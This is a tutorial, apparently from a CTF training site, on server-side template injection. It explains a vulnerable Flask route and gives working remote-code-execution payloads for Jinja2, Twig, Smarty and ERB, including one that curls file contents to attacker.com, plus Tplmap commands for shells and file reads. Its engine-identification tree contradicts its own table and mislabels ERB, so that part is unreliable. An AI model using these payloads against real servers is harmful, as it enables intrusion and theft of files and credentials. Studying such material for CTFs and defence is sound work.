advancedcat/web~2 min read

Server-Side Template Injection (SSTI)

Escape template engine sandboxes (Jinja2, Twig, Smarty, ERB) to read sensitive files and execute remote code on the target server.

// prerequisite reading

What is SSTI?

Server-Side Template Injection occurs when user input is concatenated directly into template engine directives rather than passed as data parameters.

Vulnerable Code Example (Python Jinja2)

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name')
    # Unsafe concatenation allows execution of Jinja expressions
    template = f"<h1>Hello {name}</h1>"
    return render_template_string(template)

If name={{ 7*7 }} is supplied, the rendered output displays Hello 49.


Template Engine Identification Matrix

Inject evaluation expressions to identify the underlying engine:

                      ${7*7}
                     /      \
               renders 49   renders ${7*7}
                 /               \
            {{7*7}}             #{7*7}
            /     \             /     \
       renders 49  {{7*'7'}} renders 49  renders #{7*7}
         /          \          |            |
      Jinja2      Twig/Mako   Ruby ERB     Smarty
Engine Payload Test Engine Identified
{{ 7 * '7' }} -> 7777777 Jinja2 (Python)
{{ 7 * '7' }} -> 49 Twig (PHP)
${7*7} -> 49 Smarty / Freemarker (PHP/Java)
<%= 7*7 %> -> 49 ERB (Ruby)

Exploitation by Engine

1. Jinja2 (Python) Sandbox Escape & RCE

Access object inheritance trees (__mro__, __subclasses__()) to reach OS execution modules (subprocess.Popen or os):

Basic Jinja2 RCE Payload

{{ ''.__class__.__mro__[1].__subclasses__() }}

Locate the index for subprocess.Popen or os._wrap_close, or use a generalized snippet:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

Blind Jinja2 Out-Of-Band Payload

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/$(cat /flag.txt | base64)') }}

2. Twig (PHP) RCE Payloads

Twig provides built-in filter functions like filter or sort that accept PHP callbacks:

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

In newer Twig versions (v2/v3):

{{ ['id']|map('system') }}
{{ ['cat /flag.txt']|map('passthru') }}

3. Smarty (PHP) RCE Payloads

Smarty templates allow direct execution of PHP code or {system} blocks if enabled:

{system('cat /flag.txt')}
{PHP}passthru('id');{/PHP}
{$smarty.template}

4. ERB (Ruby) RCE Payloads

Ruby ERB templates evaluate standard Ruby expressions inside <%= %> tags:

<%= system('id') %>
<%= `cat /flag.txt` %>
<%= IO.read('/etc/passwd') %>

Automated SSTI Exploitation with Tplmap

Tplmap automates detection and exploitation of template injection vulnerabilities across multiple engines:

# Scan parameter for SSTI
python2 tplmap.py -u "http://target.com/hello?name=John"

# Execute interactive OS shell
python2 tplmap.py -u "http://target.com/hello?name=John" --os-shell

# Exfiltrate target file
python2 tplmap.py -u "http://target.com/hello?name=John" --file-read "/flag.txt"